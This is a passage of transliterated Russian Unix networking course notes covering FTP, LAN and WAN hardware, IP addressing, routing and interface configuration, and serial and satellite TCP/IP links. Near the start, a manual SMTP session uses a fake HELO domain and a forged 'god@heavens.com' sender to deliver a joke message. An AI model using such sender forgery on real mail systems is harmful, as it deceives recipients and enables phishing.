ftp> cd katalog - peremeshchat'sya po "tamoshnim" katalogam
ftp> ls         - vydat' "tamoshnee" oglavlenie

ftp> lcd katalog - peremeshchat'sya po "zdeshnim" katalogam
ftp> !dir       - vydat' "zdeshnee" oglavlenie
ftp> !ls -al    - vydat' "zdeshnee" oglavlenie

ftp> get  file-tam  [ file-name-zdes ]  - vzyat' fajl ottuda
ftp> put  file-zdes [ file-name-tam ]   - polozhit' fajl tuda


        &dDKak poslat' pis'mo vruchnuyu&d@

&dDtelnet localhost 25&d@
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 t30.systud.msk.su ESMTP Sendmail 8.8.5/8.8.5; Thu, 14 May 1998 18:01:21 +0400
vrfy ryba@aquarium.ru
expn ryba@aquarium.ru
&dDhelo whitehouse.gov&d@
250 t30.systud.msk.su Hello localhost [127.0.0.1], pleased to meet you
&dDmail from: god@heavens.com&d@
250 god@heavens.com... Sender ok
&dDrcpt to: moshkow@ipsun.ras.ru&d@
250 moshkow@ipsun.ras.ru... Recipient ok
&dDdata&d@
354 Enter mail, end with "." on a line by itself
&dDSubject: Time to pray!

This the time to pray caoming along!

God

.&d@
250 SAA01324 Message accepted for delivery
&dDquit&d@
.
        &dDLokal'naya set': Ethernet, Token ring, FDDI&d@

        &dDEthernet&d@

Carrier   Sense  Multiple  Access  Collision  Detect  (CSMA/CD)
Kontrol'  nesushchej  s  mnozhestvennym  dostupom   i   razresheniem
kollizij.

Standart  Ethernet/2  i  IEEE  802.3 pohozhi, no imeyut razlichnyj
format frejma


&dDEthernet'ov sushchestvuet 3 tipa:&d@

10baseT         Neekranirovannaya vitaya para, raz®em RJ45
Twisted pair    (Dlinna odnoj pary do 100m).
                V lyuboj cepochke dolzhno byt' ne bolee 4-h habov.

10base5         Tolstyj  Ethernet. ZHeltyj 2sm kabel', 15 pinovyj AUI
Thick ethernet  konnektor u hosta. "Krab" - dlya podklyucheniya k osnovnomu
                kabelyu. Na koncah - N-terminatory.(L<= 500m)

10base2         Tonkij Ethernet s koaksial'nym 50-omnym kabelem
Thin ethernet   i BNC konnektorami.
                Oficial'naya dlina kabelya 185 m (<=300m)
                30 hostov na odnom segmente

+-----+
|Host o------------------.                     "Zvezda"
+-----+                   \
                           \  ___
+-----+                     \o   | Hub
|Host o----------------------o   |             10-base-T
+-----+                      o___|
                           /
+-----+                   /
|Host o------------------'
+-----+

+-----+         +-----+         +-----+        "Obshchaya shina"
|Host |         |Host |         |Host |
+--+--+         +--+--+         +--+--+        Thin
 z-+---------------+---------------+-z

+-----+         +-----+         +-----+
|Host |         |Host |         |Host |
+--sh--+         +--sh--+         +--sh--+        Tolstyj ethernet
   n               n               n    ^
   n               n               n    |do 50m
 "krab"            n               n    v
n==M===============M===============M=======n

        &dDToken ring&d@

Standart  Token  ring  razrabotan  dlya setej IBM, i prakticheski
sovpadaet s IEEE 802.5

Apparatno  -  zvezda  (8  sht)  na vitoj shielded ili unshielded
pare, podklyuchennaya k  MultiStationAccessUnit  (MSAU)  Neskol'ko
MSAU  mozhno  soedinyat'  drug  s drugom, oni pri etom organizuyut
logicheskoe obshchee kol'co.

Logicheski  -  kol'co po kotoromu idet marker-telezhka. Prinyavshij
marker s soobshcheniem schityvaet esli ono emu, mozhet polozhit' svoe
esli  marker "pust", ishch v lyubom sluchaet peredaet marker dal'she.
Projdya krug marker unichtozhaetsya stanciej,  ego  zapustivshej,  i
zapuskaetsya  novyj. Dopustim rovno odin marker. Marker vezet ne
bolee odnogo paketa  s  dannymi.  Naznachaetsya  stanciya-Monitor,
kotoraya  sledit,  chtob markery ne shli vtoroj krug, esli stanciya
ego porodivshaya ne smogla ego udalit'.

        &dDFDDI&d@

Apparatno  -  dvojnoe  optovolokonnoe  kol'co. V bazovom rezhime
odno  iz  kol'ec  ne  ispol'zuetsya.  V  kol'ce  est'  nekotoroe
kolichestvo   Dual   Attachment   stancij.  Esli  takaya  stanciya
zamechaet, chto proshedshij skvoz' nee paket ne vernulsya  po  krugu
(kol'co porvano), ona avtomaticheski aktiviziruet vtoroe kol'co.
(To zhe dolzhna sdelat' DAS na drugoj storone ot obryva)

   ___0 DAS      ___0 DAS
  /___o         /___|
 //   \\       //
||     |* --> ||      *
||     o|     ||     o*
 \\___/o DAS   \\___/| DAS
  \___/         \___/

Logicheski  -  kak i Token ring. Marker mozhet vezti pakety srazu
ot  neskol'kih  stancij.  Funkcii   Monitor'a   vypolnyayut   vse
uchastniki kol'ca.

        &dDRaspaj Unshielded twisted pair&d@.

1 oranzh    Tx+      | +-1---8-+ |      Rx+  3
2 ORANZH    Tx-      | |       | |      Rx-  6
3 zelen    Rx+      |  |_____|  |      Tx+  1
4 SINIJ             |           |
5 sinij	            |           |
6 ZELEN    Rx-      |___________|      Tx-  2
7 korich            (provod na nas)
8 KORICH
-----------------------------------------------------------------
Dlya soedineniya dvuh adapterov napryamuyu, bez HUB'a (point-to-point)
ispol'zuetsya "perevernutyj" provod. Tx+<-->Rx+, Tx-<-->Rx-,...

Mnogie  sovremennye  ethernet-kontrollery  imeyut avtomaticheskoe
opredelenie kabelya, i  ih  mozhno  vyazat'  napryamuyu  standartnym
"pryamym" kabelem - ne perevorachivaya.
.
        &dDGlobal'naya set': hardvare i porty&d@

      DTE                          DCE

(station, router) ** ------ ** (modem) <==== provajderskij link

        &dDFizicheskie interfejsy podklyucheniya:&d@

EIA/TIA-232
EIA/TIA-449
V.24
V.35
X.21
G.703
EIA.530
HSSI

        &dDLogicheskie protokoly WAN podklyucheniya:&d@

Data link encapsulation dlya sinhronnyh linij:

&dDDedicated WAN&d@
SDLC        - Synchronous Data Link Control
HDLC        - High-level Data Link Control
LAPB        - Link Access Procedure Balanced
PPP         - Point-to-Point Protocol

&dDSwitched WAN&d@
Frame Relay - uproshchenaya versiya HDLC frejminga
X.25
ISDN
.
        &dDMarshrutizaciya TCP/IP&d@

                                           Set'      "Office"
  +--------+         +--------+            Network   195.1.2.0
  |        |         |        |            Netmask   255.255.255.0
  +--------+         +--------+            Broadcast 195.1.2.255
     | 195.1.2.3         | 195.1.2.10
 ----+-------------------+--------------------------+-------------
          |195.1.2.1                                | 195.1.2.2
  +--------+                                     +--------+
|-|GatewayD|                                     |GatewayO|
| +--------+                                     +--------+
| 198.8.2.1                                     SLIP : 122.5.6.9
|              Set'      "Developers"                :
| +-------+    Network   198.8.2.0                   :
|-|       |    Netmask   255.255.255.0             Modem
| +-------+    Broadcast 198.8.2.255               . . .
| 198.8.2.2
|                                                  Modem
| +-------+                                        . . .
|-|       |                                          :
| +-------+                                      SLIP: 122.5.6.10
| 198.8.2.3                                     +--------+
                                                |GatewayF|
                                       122.5.6.3+----+---+
   --------------------------------------------------+--------
     | 122.5.6.1         | 122.5.6.2       Set'      "Filial"
  +--------+         +--------+            Network   122.5.6.0
  |        |         |        |            Netmask   255.255.255.192
  +--------+         +--------+            Broadcast 122.5.6.63

           Staticheskie tablicy marshrutizacii

Obychnyj Host        IP       198.8.2.2
seti "Developers"   Net:     198.8.2.0 -- 198.8.2.255
198.8.2.0           Default: 198.8.2.1

Most "GatewayD"     ifconfig eth0 198.8.2.1
                    ifconfig eth1 195.1.2.1
                        route add net 198.8.2.0 198.8.2.1  0
                        route add net 195.1.2.0 195.1.2.1  0
                        route add       default 195.1.2.2  1

Most "GatewayO"     ifconfig eth0 195.1.2.2
                    ifconfig sl0 122.5.6.9 pointopoint 122.5.6.10
                        route add net 195.1.2.0 195.1.2.2  0
                        route add net 198.8.2.0 195.1.2.1  1
                        route add      default 122.5.6.10  1

Obychnyj Host        IP       195.1.2.3
seti "Office"       Net:     195.1.2.0 -- 195.1.2.255
195.1.2.0           Default: 195.1.2.2
                        route add net 198.8.2.0 195.1.2.1  1
.
        &dDSet' TCP/IP&d@

Protokol  TCP/IP (Transmission Control Protocol/Internet Proto-
col) yavlyaetsya  bazovym   transportnym   setevym   protokolom  v
UNIX'e. V zagolovke TCP/IP paketa ukazyvaetsya:

IP-adres otpravitelya
IP-adres poluchatelya
Nomer porta      (Fakticheski - nomer prikladnoj programmy,
                 kotoroj etot paket prednaznachen)

TCP/IP-ishnye pakety imeyut interesnuyu osobennost':  oni sposobny
"dobrat'sya" do  adresata,  projdya  skvoz' raznorodnye lokal'nye
seti, ispol'zuya raznoobraznye fizicheskie nositeli. "Marshrutiza-
ciyu" IP-paketa  (perebrosku  ego v trebuemuyu set') osushchestvlyayut
"na dobrovol'nyh nachalah" komp'yutery, vhodyashchie v TCP/IP set'.

        &dDVsemirnaya set' Internet&d@.

Vse kompyutery mira, podderzhivayushchie protokol TCP/IP i kakim-libo
obrazom  podklyuchennye  drug  k   drugu,   obrazuyut   global'nuyu
vsemirnuyu  set'  TCP/IP  "Internet".  Tempy  rosta  "Internet":
100000 IP-adresov v mesyac. V nastoyashchij moment (konec 1994 goda)
k Internet'u podklyucheno okolo:

      20,000  setej
   4,000,000  komp'yuterov
  35,000,000  pol'zovatelej

        &dD1. IP-adres&d@.

Kazhdaya mashina v mire imeet svoj unikal'nyj IP-adres.

IP-adres - 32-bitnoe chislo, kotoroe prinyato zapisyvat' v sme-
shannom 16-richno-desyatichnom formate, v vide 4 chisel, razdelennyh
tochkami. Naprimer:

  193.124.148.73
  128.8.2.1

Kazhdoe desyatichnoe chislo zdes' predstavlyaet na  samom  dele  dva
shestnadcaterichnyh  razryada.  Mozhet  prinimat'  znacheniya ot 0 do
255. Dopustima takzhe shestnadcaterichnaya zapis':

  c1.7c.94.49  ili 0xC17C9449
  80.08.02.01  ili 0x80080201

V usloviyah korrektno skonfigurennoj lokal'noj seti, i pri uslo-
vii  podklyucheniya ee  k vsemirnoj seti Internet, protokol TCP/IP
pozvolyaet vashej setevoj programme rabotat' s LYUBYM  komp'yuterom
v mire, kak esli by on nahodilsya v vashej lokal'noj seti.

Unikal'nost' IP-adresov  podderzhivaetsya  prosto.  Oni  vydayutsya
centralizovanno.  Kontora,  kotoraya etim zanimaetsya, nazyvaetsya
NIC - Network Informational Center. Evropejskoe  otdelenie  NIC
raspolozheno  v  Amsterdame.  Ona  VYDAET IP-adresa. V adres NIC
nuzhno poslat' formu-zapros ustanovlennogo obrazca, i cherez  ne-
kotoroe  vremya  vam  prishlyut "pachku" IP-adresov, vydelennyh dlya
vashej seti. E-mail adres, po kotoromu nuzhno poslat' zapros:

  hostmaster@sri-nic.net

Moskovskij uzel, razdayushchij IP-adresa, a tak zhe domeny *.ru
dostupen po adresu

  RosNIIROS         xSU/RU NetworkInformationalCenter
  ncc@ripn.net      ili      ncc@ussr.eu.net
  www.ripn.net/nic/ripn-docs/

        &dDIP-set', podset'.&d@

IP-set' -  "pachka"  iz  2**n  IP-adresov,  IDUSHCHIH PODRYAD. Samyj
mladshij - rezerviruetsya. |tot adres nazyvaetsya adresom IP-seti.
Naprimer 128.8.0.0, ili 193.125.149.64 . Adres seti ispol'zuet-
sya, kogda trebuetsya  ukazat'  vsyu set' celikom, naprimer, kogda
zadaetsya marshrutizaciya do etoj seti.

Maska seti - fakticheski razmer seti, zadaet chislo adresov v se-
ti. Zadaetsya libo kolichestvom bitov v maske seti (naprimer 8bit
- 256 adresov, 6 bit - 64 adresa), libo bitovoj maskoj vida

   b'111...11100...00'
         chislo^^   ^^ bitov

kotoruyu tozhe prinyato zapisyvat'  v  desyatichno-pobajtnoj zapisi,
naprimer:

  255.255.255.192 - maska na 64 adresa
  255.255.255.0   - maska na 256 adresov
  255.255.0.0     - maska na 64Kb adresov

Broadcast  adres  seti   - samyj starshij adres v seti. Rezervi-
ruetsya dlya peredachi soobshchenij tipa "vse-vsem-vsem" (v seti).

  128.8.255.255

Seti delyatsya na klassy:

Klass A.    "Ogromnye" seti.
        Adresa etih setej lezhat v promezhutke: 1 - 126.
        Maska seti: 255.0.0.0
        Soderzhit do 16387064 adresov (256*256*256).
        Adresa hostov v etih setyah vida: 125.*.*.*

Klass B.  "Srednie" seti.

        Adresa etih setej lezhat v promezhutke: 128.0 - 191.255
        Maska seti: 255.255.0.0
        Soderzhit do 64516 adresov (256*256).
        Adresa hostov v etih setyah vida: 136.12.*.*

Klass C.  "Malen'kie" seti.

        Adresa setej lezhat v intervale: 192.0.0 - 255.254.255
        Maska seti: 255.255.255.0
        Soderzhit 254 adresa.
        Adresa hostov v etih setyah vida: 195.136.12.*

Klass D. "Multicast-seti" (gruppovaya adresaciya) (v stadii razrabotki)
        Adresa setej lezhat v intervale: 224-239

Klass E. "|ksperimental'nye"            240-250

Adresa 0, 127, 255 - special'nye i dlya obychnyh IP ne ispol'zuetsya

        &dD2.1. Private Address Space&d@

     Esli   vasha   set'   budet  ispol'zovat'sya  tol'ko  vnutri
organizacii, i mashiny ne budut imet' neposredstvennogo vyhoda v
internet, to adresa dlya nee mozhno brat' "s potolka".

V dokumente RFC 1597 "Address Allocation for Private Internets"
March 1994:

The  Internet  Assigned Numbers Authority (IANA) zarezerviroval
tri bloka IP adresov dlya ispol'zovaniya vo vnutrennih setyah:

        10.0.0.0        -   10.255.255.255     Klass A
        172.16.0.0      -   172.31.255.255     Klass B
        192.168.0.0     -   192.168.255.255    Klass C

Routery  bol'shinstva  ISP  eti  adresa  ne  marshrutiziruyut, chto
dobavlyaet im(adresam) bezopasnosti.

        &dD2. Ob®yavlyaem IP-adres na nash ethernet'nyj kontroller&d@.

Konfiguraciya seti na UNIX-mashine obychno delaetsya  avtomaticheski
pri nachal'noj zagruzke. Vkratce ee mozhno opisat' tak:

Opredelenie treh odnotipnyh kart v Linux (1*ISA, 2*PnP):

/etc/conf.modules
alias eth0 ne
alias eth1 ne
alias eth2 ne

options ne io=0x220,irq=5

Ob®yavlyaem,   chto   nash  IP-adres  198.8.2.1  i  on  podnyat   na
ethernet'nuyu kartu po imeni elx70 . V sluchae  Motorol'y tak na-
zyvaetsya ethernet, torchashchij iz glavnoj sistemnoj  platy - platy
s processorom.

   ifconfig  e1x70  198.8.2.1  up

Ob®yavlyaem, chto nash vtoroj kontroller  s  imenem  m3760  (nizhnyaya
plata) imeet IP-adres 198.8.3.1

   ifconfig  m3760  198.8.3.1  up

        &dD3. Marshrutizaciya lokal'noj seti&d@.

Ob®yavlyaem, chto mashiny s adresami vida 198.8.2.* *=1,...,254 si-
dyat na nashem verhnem lokal'nom segmente  ethernet, i razgovari-
vat' s nimi nado napryamuyu, cherez verhnij ethernet, sootvetstvu-
yushchij nashemu adresu 198.8.2.1 - t.e. - elx70. A s mashinami, ime-
yushchimi adresa vida 198.8.3.* - cherez nizhnij ethernet - s adresom
198.8.3.1

   route add  net  198.8.2.0  198.8.2.1 netmask 255.255.255.0 0
   route add  net  198.8.3.0  198.8.3.1 netmask 255.255.255.0 0

Setevye pakety dlya IP-adresov, kotorye ne lezhat v nashej lokal'-
noj seti, perepravlyat' na mashinu s  setevym adresom 198.8.2.107
- a  uzh ona sama budet razbirat'sya,  chto s  nimi delat', i  kak
dostavit' ih do konkretnyh adresatov.

   route add default      198.8.2.107  1

Poslednij argument komandy route - metrika.  Ee mozhno interpre-
tirovat' kak "rasstoyanie" do "togo" gateway'ya, ili "skol'ko pe-
resadok mezhdu  gateway'yami pridetsya sdelat' IP-paketu po doroge
tuda. Poskol'ku IP-adresa 198.8.2.1  i  198.8.3.1 sootvetstvuyut
nashim sobstvennyj platam ethernet, to i metrika (rasstoyanie) do
nih 0. 198.8.2.107 - drugaya mashina - "rasstoyanie do nee" 1.

Smotrim, chto u nas poluchilos'

  netstat -rn             # raspechatat' tablicu marshrutizacii

  ping -s fedfond         # "prozvonit'" uzly seti
  ping -s fedfond-gate
  ping -s 198.8.2.107

  netstat  -i        # statistika o rabote setevyh interfejsov

Nastala pora ob®yasnit', chto takoe lo0 i localhost.  |to tak na-
zyvaemyj Loop-back  interfejs.  On  imitiruet setevoj interfejs
lokal'no, ne vyhodya za granicy nashego komp'yutera. Loop-back in-
terfejsu  sootvetstvuet   zarezervirovannyj  za  nim   IP-adres
127.0.0.1

        &dD4.&d@ Konfigurirovanie TCP/IP na Motorole 922.

Pridumajte  setevoe imya vashego komp'yutera. Pust' vy reshili, chto
vash komp'yuter  dolzhen  nazyvat'sya  fedfond,  i  imet'  IP-adres
198.8.2.1  .  Odnako  ne  zabyvajte,  chto u Motoroly DVA ethern
net-kontrollera, i KAZHDYJ iz nih DOLZHEN imet'  svoj  UNIKALXNYJ
IP-adres.  My  reshaem,  chto  vtoroj  nash  ethernet  budet imet'
IP-adres 198.8.3.1, nu i etomu adresu  mozhno  naznachit'  vpolne
chelovecheskoe  imya,  naprimer  "fedfond-gate".

VNIMANIE:  esli  vy  vnimatel'no  rassmotrite  soderzhanie fajla
/etc/inet/rc.inet, osobenno stroku vida

    /usr/sbin/ifconfig e1x70 `uname -n`-gate $net_mask up

to  pojmete,  chto  vtoroj  ethernet  dolzhen  nazyvat'sya  imenno
fedfond-gate , i nikak inache.

Itak, chtoby ustanovit' setevoe imya i IP-adresa nashego host'a

1. komandoj  sysadm  ustanovite  "nodename" . VNIMANIE:  imenno
nodename (imya uzla) a ne systemname (imya operacionnoj sistemy)

2.  V fajl /etc/hosts vstav'te strochki, privyazyvayushchie IP-adresa
k imeni fedfond i, VNIMANIE!, fedfond-gate

198.8.2.1    fedfond
198.8.3.1    fedfond-gate

3. Perezagruzites'.


        &dDKonfigurirovanie 2-go ethernet v Linux&d@

Pervyj-to ethernet konfiguritsya s razdachi - slozhnost' poyavitsya,
kogda   my   zahotim   uvidet'   vtoroj.   Naprimer   mozhno   v
/etc/rc.d/rc.local postavit' takie komandy:

# podgruzka dravera s dekovskim chipom 2140
insmod /lib/modules/2.0.18/de4x5.o io=0
# vydelenie IP # staticheskij routing na vtoruyu setku
ifconfig eth1  10.232.172.1
route add -net 10.232.172.0 gw 10.232.172.1 netmask 255.255.255.0

Esli   draver   2-go   ethernet'a   vkompilirovan  v  yadro,  to
aktivizirovat' ego mozhno tak: v fajl /etc/lilo.conf vpisat'

append="ether=0,0,eth0 ether=0,0,eth1"    # esli srabotaet autoprobe
# v sluchae yavnogo zadaniya parametrov kart
append="ether=10,0x300,0xe800,eth0 ether=12,0x280,eth1"

Vklyuchit' routing:

echo 1 > /proc/sys/net/ipv4/ip_forward

        &dDKak uznat' hardware adres ethernet'noj karty&d@

Esli   mashiny   normal'no   skonfigurirovany   dlya  TCP/IP,  to
dostatochno popingovat' ih yavno ili po broadkastu, zatem arp -a

    ping [-s] 123.456.789.255
    arp -a

Pochti  vsegda  mozhno  razobrat'  mashinu,  i  posmotret'  adres,
napechatannyj na samoj plate.

Linux: Adres pechataetsya pri zagruzke yadra.
       Esli karta skonfigurirovana, to adres soobshchaet komanda
       ifconfig

Sun:   Adres pechataetsya boot-monitorom pri starte
       Hardware adres ethernet'a na Sun mozhno proizvol'no menyat'
       nahodyas' v boot-monitore, ili komandoj ifconfig
       podrobnosti sm. v Sun NVRAM & hostid FAQ

HP-UX: Adres mozhno uznat' komandoj lanscan. Na rabochih stanciyah
       adres mozhno uznat' eshche i iz boot-monitora PDC.

        &dD5. Prikladnye interfejsy&d@.

CHtoby  pisat' programmy, rabotayushchie s set'yu, programmist dolzhen
pol'zovat'sya kakim-libo naborom sistemnyh vyzovov i funkcij. Ot
BSD-Unix'a  v  zhizn'  voshel poluchivshij bol'shuyu populyarnost' API
Berkeley-sockets. AT&T System V porodila TLI  (Transport  Level
Interface) - postroennyj na tehnologii "potokov" (streams).

SVR4   podderzhivaet   i   to,   i   drugoe.  Podderzhku  soketov
obespechivaet demon inetd (Internet Super Server), podderzhku TLI
obespechivaet demon listen (Network Listener).

        &dD6.&d@ Konfiguraciya TLI

Demon listen  upravlyaetsya  special'noj  bazoj dannyh, v kotoruyu
neobhodimo vpisat'  IP-adres  nashego host'a. Delaetsya eto "odin
raz v zhizni". IP-adres zadaetsya v  hitroj shestnadcaterichnoj za-
pisi.

Itak, esli nashi IP-adresa 198.8.2.1 i  198.8.3.1, ih shestnadca-
terichnaya zapis' C6080201, C6080301 , to my dolzhny edinovremenno
vypolnit' tri komandy:

nlsadmin -i tcp
nlsadmin -l  '\x00020acec60802010000000000000000' tcp
nlsadmin -l  '\x00020acec60803010000000000000000' tcp
            "volshebnoe  ^^^^^^^^shestnadcat' nulej
            slovo 0ace"    |
                           |
             syuda vpisyvaetsya nash fakticheskij IP-adres


        &dD7.&d@ Konfiguraciya BSD soketov.

Dlya   etogo  nichego  delat'  ne  nado.  Vrochem,  v  dal'nejshem,
vozmozhno, vam pridetsya etim zanimat'sya. Nastrojki inetd lezhat v
fajlah:

/etc/inetd.conf      nazvanie setevogo  --> imya obsluzhivayushchej
                        servisa                programmy

/etc/services        nomer porta --> nazvanie setevogo servisa

Sostoyanie tekushchih soedinenij mozhno posmotret' komandoj:

      netstat    (ili     netstat -ta - esli u vas Linux)

        &dDEshche neskol'ko protokolov&d@

ARP - Address Resolution Protocol
Protokol  nizkogo  urovnya. Podderzhivaetsya  na urovne yadra i/ili
dravera setevoj  platy.  Dlya  opredeleniya,  kakoj  ethernet'nyj
adres  imeet   mashina,  esli  izvesten ee IP-adres. Rabotaet po
principu  broadcast:  "ej,  vse,  vse,  vse:   IP-takoj_to    -
otzovis'", i on odin otzyvaetsya.

  arp -a  # raspechatat' izvestnye nam IP-adresa i ih eth-adresa

RARP - Reverse Address Resolution Protocol.
Dlya opoveshcheniya bezdiskovyh  klientov,  kakoj u nih IP-adres. Na
servere zapuskaetsya  demon  rarpd.  U  nego  est' fajl-tablica:
ether-adres  ->  IP-adres. Po  zaprosu-broadcast'u bezdiskovogo
klienta  vida:  "ej, vse,vse,vse,  moj eth-adres takoj-to.  Kak
menya zovut?" rarpd soobshchaet emu, kakoj u nego IP (a  drugoj de-
mon bootparamd soobshchaet emu dopolnitel'nuyu informaciyu - gde emu
brat' svoyu kornevuyu fajlovuyu sistemu, naprimer).

Dlya obmena informaciej o routinge (marshrutizacii)  ispol'zuyutsya
protokoly RIP, BGP, EGP, ICMP.

RIP - Routing Information Protocol
Vnutrennij protokol  routinga (vnutri  avtonomnoj sistemy). Ego
podderzhivayut demony routed i/ili gated.

BGP - Border Gateway Protocol
EGP - External Gateway Protocol
Routing  mezhdu  avtonomnymi sistemami.  Ih  podderzhivaet  demon
gated

ICMP - Internet Control Message Protocol
peredaet  soobshcheniya   ob   oshibkah  v  TCP/IP  (naprimer  "port
unreachable"), ispol'zuetsya programmami ping, traceroute, mozhet
peredavat' soobshchenie o neracional'nom routinge tipa "redirect":
"voobshche-to mozhno napravlyat' pakety cherez menya, odnako est' i bo-
lee korotkij put'".

Dlya   obmena   informaciej   o  simvolicheskih  imenah  host'ov,
pol'zovatelej,  grupah   pol'zovatelej   i   pr.   ispol'zuyutsya
protokoly DNS i NIS/YP

DNS - Domain Name System.
Pozvolyaet ispol'zovat' simvolicheskie imena hostov pomimo cifro-
vyh IP-nomerov, i organizovyvat' "derevyannuyu" strukturu  naime-
novaniya  domenov  (tipa pc101.fedfond.msk.su  ,  ftp.sco.com  i
t.p.) Server DNS - host, na kotorom zapushchen demon bind,  i hra-
nyatsya imena hostov  v zone(domene). Na ostal'nyh hostah dlya op-
redeleniya IP-adresa po imeni ispol'zuyutsya bibliotechnye  funkcii
biblioteki "resolver"  - gethostbyname, gethostbyaddr,  kotorye
obrashchayutsya po seti k blizhajshemu serveru DNS, i  vyyasnyayut u nego
IP-adres mashiny po ee imeni (domain-name).

NIS/YP  -  Network  Information  System  (ispol'zuetsya  tak  zhe
nazvanie, prishedshee ot firmy Sun  -  Yellow  Pages).  Pozvolyaet
hranit'  na  odnom  NIS-servere  (s demonom ypserv) informaciyu,
edinuyu dlya vsej lokal'noj seti: imena  hostov,  imena  i  prava
pol'zovatelej,   grupp   pol'zovatelej,  nazvanie  ih  domashnih
katalogov, simvolicheskie imena portov i t.d. i t.p.

Eshche raz ob otlichiyah DNS ot NIS/YP: DNS - sistema "global'naya" -
dejstvuet  v  ramkah vsego Interneta, no soderzhit TOLXKO  imena
hostov. NIS/YP -  soderzhit  pomimo imen hostov neskol'ko drugih
informacionnyh baz, no zato podderzhivaetsya tol'ko v ramkah seti
odnoj organizacii.

        &dDKonfigurirovanie TCP/IP na skoruyu ruku&d@

       V  bol'shinstve  unix-ov imeetsya prostaya menyushnaya utilita
pozvolyayushchaya skonfigurirovat' osnovnye parametry komp'yutera: Imya
hosta, IP adres i parametry seti, DNS servera

 HP/UX:           /etc/set_parms initial
 Linux Slackware: net_config
 Solaris:         /etc/???

.
        &dDOrganizaciya TCP/IP po posledovatel'nym liniyam&d@

     Protokol  TCP/IP  ne  obyazatel'no  trebuet  nalichiya ethern
net'noj seti. Vpolne dopustimy i  drugie  fizicheskie  nositeli,
naprimer:

  Posledovatel'nye linii s podklyucheniem cherez porty RS-232,

  Skorostnye linii s podklyucheniem cherez parallel'nye porty,
  ili skorostnye sinhronnye porty (naprimer 485, V.435).

|ti vozmozhnosti obespechivayutsya specializirovannymi realizaciyami
protokola IP:

     dlya podklyucheniya cherez RS-232
SLIP  - Serial  Line IP - samaya pervaya realizaciya  TCP/IP  "dlya
        bednyh", shiroko ispol'zuetsya do sih por.
CSLIP - Compressed  SLIP - modifikaciya protokola SLIP.
        Szhatiyu podvergayutsya zagolovki  IP-paketov. VNIMANIE: no
        ne sami dannye! V standartnom IP-pakete IP-zagolovki so
        sluzhebnoj  informaciej  zanimayut  poryadka  40  bajt.  V
        CSLIP'e eti zagolovki uzhimayutsya do 3 bajt. Pri peresyl-
        ke bol'shogo chisla melkih paketov poluchaetsya  sushchestven-
        nyj vyigrysh v skorosti. Esli pakety krupnye, to vyigry-
        sha ne budet nikakogo.
PPP   - Point-to-Point Protocol
        Eshche odna,  sovremennaya realizaciya TCP "dlya bednyh". YAv-
        lyaetsya standartnym dlya SVR4. Bolee universalen.  Pozvo-
        lyaet takzhe  organizovat'  peredachu  po posledovatel'noj
        linii protokola IPX. Podderzhivaet rezhimy emulyacii  slip
        i cslip - dlya sovmestimosti.

     dlya podklyucheniya cherez Centronix-parallel'nyj port
PLIP  - Parallel  Line IP - nekotorye skazhut - ekzotika.
        Nichut'  ne  byvalo.  Ves'ma rasprostranennaya veshch'.  Vot
        kogda TCP/IP po SCSI-shine - eto da, eto - ekzotika.
        Kstati, RFC 1149 opisyvaet peredachu paketov IP golubinoj
        pochtoj.

        &dDTCP/IP po sputnikovoj svyazi&d@.

Teoreticheskih   trudnostej   organizaciya   svyazi  TCP/IP  cherez
sputnikovuyu antennu net - vse vyglyadit takzhe, kak pri  modemnoj
svyazi  po  telefonu.  Tehnologiya  primerno sleduyushchaya: s antenny
vyhodit  vysokochastotnyj  signal,  signal  progonyaetsya   skvoz'
sputnikovyj  modem,  iz  modema vyhodit potok dannyh po formatu
High Speed Interface - zavesti  v  komp'yuter  ego  mozhno  cherez
skorostnoj  port,  naprimer  V.435  (logicheski  on  vedet  sebya
priblizitel'no kak obychnyj posledovatel'nyj port), i so storony
hosta  -  podnimaetsya protokol PPP. Estestvenno, na "tom konce"
predpolagaetsya ta zhe shema podklyucheniya.

+-------------------+	     +-----------------+           (
|     protokol  port| dannye |port  sputnikovyj| signal   ( ><
|Host   PPP    V.435|========|V.435 modem      | ~~~~~~    (
|    -TCP/IP->      |        |                 | ~~~~~~    /\
+-------------------+        +-----------------+        Antenna

Vmesto Hosta  so  skorostnym  portom,  modem mozhno podklyuchit' k
specializirovannomu ustrojstvu  -  "Routeru",  vnutri  kotorogo
"zashit" protokol TCP/IP (PPP, Ether), i imeyutsya porty Ethernet,
i High Speed Interface. Dostatochno populyarny  dlya  takih  celej
routery "Cisco router", "NetBlaser".

+-------------------+	     +-----------------+           (
|     protokol  port| dannye |port  sputnikovyj| signal   ( ><
|Router   PPP  V.435|========|V.435 modem      | ~~~~~~    (
|    -TCP/IP->      |        |                 | ~~~~~~    /\
+-------+-----------+        +-----------------+        Antenna
	|
 ... -Ethernet------ ...


        &dDSkorost', kotoruyu mozhno poluchit'&d@.

Skorost' glavnym obrazom  zavisit ot tipa i kachestva linii svya-
zi, ispol'zuemyh modemov, i tipa  porta,  v  kotoryj etot modem
votknut.

Prakticheskie ogranicheniya na skorost':

Skorost' dannyh mezhdu modemami V32bis/V42 po gorodskomu telefo-
nu, ili mezhdugorodnej linii "Iskra" do 16800 bit/sek. Real'no ~
12000 bit/s.  Nalichie  vstroennogo  protokola V42 szhatiya dannyh
pozvolyaet podnyat' real'nuyu (zamerennuyu uzhe ne mezhdu modemami, a
mezhdu  portami)  skorost' peredachi neszhatyh dannyh v 2-4  raza,
t.e. do 38400-57600 bit/s

Maksimal'naya     skorost'     priema/peredachi     dannyh     na
posledovatel'nom  portu  RS-232  zavisit  ot  nalichiya  v   onom
mikroshem UART (Universal Asyncronous Receiver-Transmitter)

  16450  - 19200 bit/s.
  16550  - 19200 bit/s. (otsutstvie bukovki "A" - fatal'no)
  16550A - 38400 bit/s.
  16550A do 115200 bit/s. (Esli operacionnaya sistema "tyanet")
                      (v chastnosti - Solaris, Unixware  - net,
                       FreeBSD, Netblaser, Cisco router - da)

   V itoge real'naya skorost' peresylki dannyh:

Telefon/"Iskra",          V32bis/V42 - 19200  bit/s.
Vydelennaya 2-h provodka,  V32bis/V42 - 38400  bit/s.
Vydelennaya 4-h provodka,  RAID,????? - 115200 bit/s.
Fizicheskaya 4-h provodka<=4km,  ?????     do 1 Mbit/s.
Optovolokno            <=?km,  ?????     ?? 2 Mbit/s.
Antenna. Sputnikovyj modem. Port V.435. PPP 64, 128, 256 Kbit/s

        &dD * Konfigurirovanie SLIP/CSLIP * &d@.

Dlya  etogo  soedinyaem  dva  host'a  nul'modemnym  kabelem cherez
posledovatel'nye porty, i zapuskaem fonom  programmu  slattach,
